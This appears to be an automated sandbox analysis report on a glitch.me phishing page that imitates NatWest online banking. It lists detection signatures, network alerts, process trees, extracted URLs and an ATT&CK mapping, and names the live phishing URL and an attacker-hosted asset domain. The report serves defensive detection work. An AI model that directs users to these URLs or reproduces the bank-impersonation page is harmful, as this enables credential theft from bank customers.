Edit tour

Windows Analysis Report
https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm

Overview

General Information

Sample URL:	https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm
Analysis ID:	1448174
Infos:

Detection

HTMLPhisher

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Snort IDS alert for network traffic

Yara detected HtmlPhish10

Yara detected HtmlPhish44

AI detected suspicious javascript

HTML page contains obfuscate javascript

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

Invalid 'forgot password' link found

Invalid T&C link found

Stores files to the Windows start menu directory

Uses insecure TLS / SSL version for HTTPS connection

Classification

Process Tree

System is w10x64

chrome.exe (PID: 6584 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4568 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=2012,i,3164281449563933196,14320066541158217082,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3996 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_75	JoeSecurity_HtmlPhish_44	Yara detected HtmlPhish_44	Joe Security

HTML

Source	Rule	Description	Author	Strings
0.0.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Snort Signatures

ET CURRENT_EVENTS Possible Glitch.me Phishing Domain - Source IP: 192.168.2.5 - Destination IP: 1.1.1.1

Timestamp:	05/28/24-00:44:20.132751
SID:	2029493
Source Port:	53333
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET CURRENT_EVENTS Possible Glitch.me Phishing Domain - Source IP: 192.168.2.5 - Destination IP: 1.1.1.1

Timestamp:	05/28/24-00:44:20.133265
SID:	2029493
Source Port:	65435
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /threshold/xls.aspx HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: */*Accept-Language: en-CHContent-type: text/xmlX-Agent-DeviceId: 01000A410900D492X-BM-CBT: 1696428841X-BM-DateFormat: dd/MM/yyyyX-BM-DeviceDimensions: 784x984X-BM-DeviceDimensionsLogical: 784x984X-BM-DeviceScale: 100X-BM-DTZ: 120X-BM-Market: CHX-BM-Theme: 000000;0078d7X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66EX-Device-ClientSession: DB0AFB19004F47BC80E5208C7478FF22X-Device-isOptin: falseX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-Device-OSSKU: 48X-Device-Touch: falseX-DeviceID: 01000A410900D492X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,staticshX-MSEdge-ExternalExpType: JointCoordX-PositionerType: DesktopX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateX-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard TimeX-UserAgeClass: UnknownAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comContent-Length: 2484Connection: Keep-AliveCache-Control: no-cacheCookie: MUID=2F4E96DB8B7049E59AD4484C3C00F7CF; _SS=SID=1A6DEABB468B65843EB5F91B47916435&CPID=1716849843050&AC=1&CPH=d1a4eb75; _EDGE_S=SID=1A6DEABB468B65843EB5F91B47916435; SRCHUID=V=2&GUID=3D32B8AC657C4AD781A584E283227995&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231004; SRCHHPGUSR=SRCHLANG=en&IPMH=986d886c&IPMID=1696428841029&HV=1696428756; CortanaAppUID=5A290E2CC4B523E2D8B5E2E3E4CB7CB7; MUIDB=2F4E96DB8B7049E59AD4484C3C00F7CF

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 27 May 2024 22:44:27 GMTContent-Type: text/html; charset=utf-8Content-Length: 225Connection: closeX-Amz-Request-Id: b578c83e56e57af3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 27 May 2024 22:44:27 GMTContent-Type: text/html; charset=utf-8Content-Length: 225Connection: closeX-Amz-Request-Id: fb2d6f9c1ae123e1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 27 May 2024 22:44:28 GMTContent-Type: text/html; charset=utf-8Content-Length: 225Connection: closeX-Amz-Request-Id: 681f4a51291e1b48
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 27 May 2024 22:44:29 GMTContent-Type: text/html; charset=utf-8Content-Length: 225Connection: closeX-Amz-Request-Id: ca79f098a887bab2

Source: chromecache_90.2.dr	String found in binary or memory: http://bugs.jquery.com/ticket/12359
Source: chromecache_90.2.dr	String found in binary or memory: http://bugs.jquery.com/ticket/13378
Source: chromecache_90.2.dr	String found in binary or memory: http://dev.w3.org/csswg/cssom/#resolved-values
Source: chromecache_90.2.dr	String found in binary or memory: http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript
Source: chromecache_81.2.dr	String found in binary or memory: http://fontawesome.io
Source: chromecache_81.2.dr	String found in binary or memory: http://fontawesome.io/license
Source: chromecache_90.2.dr	String found in binary or memory: http://jquery.com/
Source: chromecache_90.2.dr	String found in binary or memory: http://jquery.org/license
Source: chromecache_90.2.dr	String found in binary or memory: http://jsperf.com/getall-vs-sizzle/2
Source: chromecache_90.2.dr	String found in binary or memory: http://jsperf.com/thor-indexof-vs-for/5
Source: chromecache_90.2.dr	String found in binary or memory: http://sizzlejs.com/
Source: chromecache_90.2.dr	String found in binary or memory: http://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/
Source: chromecache_76.2.dr	String found in binary or memory: http://www.omniture.com
Source: chromecache_76.2.dr	String found in binary or memory: http://www.rbs.com/schemas/rates
Source: chromecache_90.2.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=136851
Source: chromecache_90.2.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=29084
Source: chromecache_90.2.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=491668
Source: chromecache_90.2.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=649285
Source: chromecache_90.2.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=687787
Source: chromecache_90.2.dr	String found in binary or memory: https://code.google.com/p/chromium/issues/detail?id=229280
Source: chromecache_90.2.dr	String found in binary or memory: https://code.google.com/p/chromium/issues/detail?id=378607
Source: chromecache_90.2.dr	String found in binary or memory: https://code.google.com/p/chromium/issues/detail?id=449857
Source: chromecache_90.2.dr	String found in binary or memory: https://code.google.com/p/chromium/issues/detail?id=470258
Source: chromecache_90.2.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/CSS/display
Source: chromecache_90.2.dr	String found in binary or memory: https://github.com/jquery/jquery/pull/557)
Source: chromecache_90.2.dr	String found in binary or memory: https://github.com/jquery/jquery/pull/764
Source: chromecache_90.2.dr	String found in binary or memory: https://github.com/jquery/sizzle/pull/225
Source: chromecache_90.2.dr	String found in binary or memory: https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon
Source: chromecache_90.2.dr	String found in binary or memory: https://html.spec.whatwg.org/#strip-and-collapse-whitespace
Source: chromecache_76.2.dr	String found in binary or memory: https://royalbankofscotland.122.2o7.net/b/ss/rbsnwphase2/1/H.21--NS/0?
Source: chromecache_76.2.dr	String found in binary or memory: https://www.natwest.com
Source: chromecache_76.2.dr	String found in binary or memory: https://www.natwest.com/AOhome
Source: chromecache_76.2.dr	String found in binary or memory: https://www.natwest.com/AOlifemoments
Source: chromecache_76.2.dr	String found in binary or memory: https://www.natwest.com/AOsupport
Source: chromecache_76.2.dr	String found in binary or memory: https://www.natwest.com/FSCSbrochure
Source: chromecache_76.2.dr	String found in binary or memory: https://www.natwest.com/business.ashx
Source: chromecache_76.2.dr	String found in binary or memory: https://www.natwest.com/corporate
Source: chromecache_76.2.dr	String found in binary or memory: https://www.natwest.com/international.ashx
Source: chromecache_76.2.dr	String found in binary or memory: https://www.natwest.com/onlineguide
Source: chromecache_76.2.dr	String found in binary or memory: https://www.natwest.com/premier
Source: chromecache_76.2.dr	String found in binary or memory: https://www.natwest.com/privacy-cookies
Source: chromecache_76.2.dr	String found in binary or memory: https://www.natwest.com/privacy-cookies'
Source: chromecache_76.2.dr	String found in binary or memory: https://www.natwest.com/tools/general/nwolb_legals/accessibility.htm
Source: chromecache_76.2.dr	String found in binary or memory: https://www.natwest.com/tools/general/nwolb_legals/accessibility.htm'
Source: chromecache_76.2.dr	String found in binary or memory: https://www.natwest.com/tools/general/nwolb_legals/security.htm
Source: chromecache_76.2.dr	String found in binary or memory: https://www.natwest.com/tools/general/nwolb_legals/security.htm'
Source: chromecache_76.2.dr	String found in binary or memory: https://www.nwolb.com//Brands/NWB/images/FSCS_Protected_Logo.png
Source: chromecache_76.2.dr	String found in binary or memory: https://www.nwolb.com/Brands/mm.js
Source: chromecache_76.2.dr	String found in binary or memory: https://www.nwolb.com/Login.aspx
Source: chromecache_76.2.dr	String found in binary or memory: https://www.nwolb.com/PageNotFound.aspx#
Source: chromecache_76.2.dr	String found in binary or memory: https://www.nwolb.com/PageNotFound.aspx#content
Source: chromecache_76.2.dr	String found in binary or memory: https://www.nwolb.com/PageNotFound.aspx#menu
Source: chromecache_76.2.dr	String found in binary or memory: https://www.nwolb.com/ServiceManagement/RedirectOutOfService.aspx?targettag=destination_ExitService&
Source: chromecache_76.2.dr	String found in binary or memory: https://www.nwolb.com/TermsAndConditions.aspx
Source: chromecache_76.2.dr	String found in binary or memory: https://www.nwolb.com/TermsAndConditions.aspx'
Source: chromecache_76.2.dr	String found in binary or memory: https://www.nwolb.com/brands/NWB/images/logo.png
Source: chromecache_76.2.dr	String found in binary or memory: https://www.nwolb.com/brands/NWB/images/n-w-logo.svg

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 2.18.97.153:443 -> 192.168.2.5:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.97.153:443 -> 192.168.2.5:49726 version: TLS 1.2

Source: classification engine

Classification label: mal80.phis.win@16/58@10/7

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=2012,i,3164281449563933196,14320066541158217082,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=2012,i,3164281449563933196,14320066541158217082,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm	100%	Avira URL Cloud	phishing
https://plastic-fringe-pentagon.glitch.me/public/n0htu.htm	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering

Source	Detection	Scanner	Label
http://fontawesome.io	0%	URL Reputation	safe
https://code.google.com/p/chromium/issues/detail?id=470258	0%	URL Reputation	safe
https://bugs.webkit.org/show_bug.cgi?id=136851	0%	URL Reputation	safe
https://code.google.com/p/chromium/issues/detail?id=449857	0%	URL Reputation	safe
http://jquery.org/license	0%	URL Reputation	safe
http://sizzlejs.com/	0%	URL Reputation	safe
https://code.google.com/p/chromium/issues/detail?id=378607	0%	URL Reputation	safe
https://html.spec.whatwg.org/#strip-and-collapse-whitespace	0%	URL Reputation	safe
http://jsperf.com/getall-vs-sizzle/2	0%	URL Reputation	safe
http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript	0%	URL Reputation	safe
https://bugs.webkit.org/show_bug.cgi?id=29084	0%	URL Reputation	safe
http://dev.w3.org/csswg/cssom/#resolved-values	0%	URL Reputation	safe
https://bugzilla.mozilla.org/show_bug.cgi?id=687787	0%	URL Reputation	safe
http://bugs.jquery.com/ticket/12359	0%	URL Reputation	safe
https://bugzilla.mozilla.org/show_bug.cgi?id=649285	0%	URL Reputation	safe
http://fontawesome.io/license	0%	URL Reputation	safe
https://developer.mozilla.org/en-US/docs/CSS/display	0%	URL Reputation	safe
http://bugs.jquery.com/ticket/13378	0%	URL Reputation	safe
http://jsperf.com/thor-indexof-vs-for/5	0%	URL Reputation	safe
https://bugzilla.mozilla.org/show_bug.cgi?id=491668	0%	URL Reputation	safe
http://jquery.com/	0%	URL Reputation	safe
https://www.natwest.com/premier	0%	Avira URL Cloud	safe
https://www.nwolb.com/Login.aspx	0%	Avira URL Cloud	safe
https://eclipse.website.yandexcloud.net/RNHouseSansW05-Bold.ttf	0%	Avira URL Cloud	safe
https://eclipse.website.yandexcloud.net/combined-shape.png	0%	Avira URL Cloud	safe
https://www.nwolb.com/PageNotFound.aspx#	0%	Avira URL Cloud	safe
https://eclipse.website.yandexcloud.net/font-awesome.css	0%	Avira URL Cloud	safe
https://eclipse.website.yandexcloud.net/n-w-logo.svg	0%	Avira URL Cloud	safe
https://www.natwest.com/tools/general/nwolb_legals/accessibility.htm'	0%	Avira URL Cloud	safe
https://eclipse.website.yandexcloud.net/RNHouseSansW05-Regular.ttf	0%	Avira URL Cloud	safe
https://eclipse.website.yandexcloud.net/overlayPromptMaster.css	0%	Avira URL Cloud	safe
https://github.com/jquery/jquery/pull/557)	0%	Avira URL Cloud	safe
https://eclipse.website.yandexcloud.net/favicon.ico	0%	Avira URL Cloud	safe
https://eclipse.website.yandexcloud.net/npc.css	0%	Avira URL Cloud	safe
https://www.nwolb.com/TermsAndConditions.aspx	0%	Avira URL Cloud	safe
https://eclipse.website.yandexcloud.net/down-chevron.png	0%	Avira URL Cloud	safe
https://eclipse.website.yandexcloud.net/radio-selected.png	0%	Avira URL Cloud	safe
https://www.natwest.com/AOhome	0%	Avira URL Cloud	safe
https://eclipse.website.yandexcloud.net/RNHouseSansW05-Regular.woff2	0%	Avira URL Cloud	safe
https://eclipse.website.yandexcloud.net/error-marker.png	0%	Avira URL Cloud	safe
https://eclipse.website.yandexcloud.net/RNHouseSansW05-Regular.woff	0%	Avira URL Cloud	safe
https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon	0%	Avira URL Cloud	safe
https://code.google.com/p/chromium/issues/detail?id=229280	0%	Avira URL Cloud	safe
https://www.natwest.com/FSCSbrochure	0%	Avira URL Cloud	safe
https://www.natwest.com/tools/general/nwolb_legals/accessibility.htm	0%	Avira URL Cloud	safe
https://l2.io/ip.js?var=userip	0%	Avira URL Cloud	safe
https://www.natwest.com/onlineguide	0%	Avira URL Cloud	safe
https://www.nwolb.com/PageNotFound.aspx#content	0%	Avira URL Cloud	safe
https://www.nwolb.com/brands/NWB/images/logo.png	0%	Avira URL Cloud	safe
https://eclipse.website.yandexcloud.net/white-lock.png	0%	Avira URL Cloud	safe
https://eclipse.website.yandexcloud.net/RNHouseSansW05-Bold.woff	0%	Avira URL Cloud	safe
https://github.com/jquery/jquery/pull/764	0%	Avira URL Cloud	safe
https://www.natwest.com/AOsupport	0%	Avira URL Cloud	safe
https://www.natwest.com/privacy-cookies'	0%	Avira URL Cloud	safe
https://eclipse.website.yandexcloud.net/main.css	0%	Avira URL Cloud	safe
https://eclipse.website.yandexcloud.net/jquery-2.2.3.js	0%	Avira URL Cloud	safe
https://eclipse.website.yandexcloud.net/master_mobile.css	0%	Avira URL Cloud	safe
https://eclipse.website.yandexcloud.net/master.css	0%	Avira URL Cloud	safe
https://eclipse.website.yandexcloud.net/overlayPrompt.css	0%	Avira URL Cloud	safe
https://royalbankofscotland.122.2o7.net/b/ss/rbsnwphase2/1/H.21--NS/0?	0%	Avira URL Cloud	safe
https://eclipse.website.yandexcloud.net/panel-defaults.css	0%	Avira URL Cloud	safe
https://www.natwest.com/tools/general/nwolb_legals/security.htm	0%	Avira URL Cloud	safe
https://eclipse.website.yandexcloud.net/li5_outer_frame_top_curve.gif	0%	Avira URL Cloud	safe
https://www.natwest.com/corporate	0%	Avira URL Cloud	safe
https://eclipse.website.yandexcloud.net/plogo.png	0%	Avira URL Cloud	safe
https://www.natwest.com/AOlifemoments	0%	Avira URL Cloud	safe
https://www.nwolb.com/brands/NWB/images/n-w-logo.svg	0%	Avira URL Cloud	safe
http://www.rbs.com/schemas/rates	0%	Avira URL Cloud	safe
https://www.natwest.com/business.ashx	0%	Avira URL Cloud	safe
https://www.natwest.com/tools/general/nwolb_legals/security.htm'	0%	Avira URL Cloud	safe
https://www.natwest.com/international.ashx	0%	Avira URL Cloud	safe
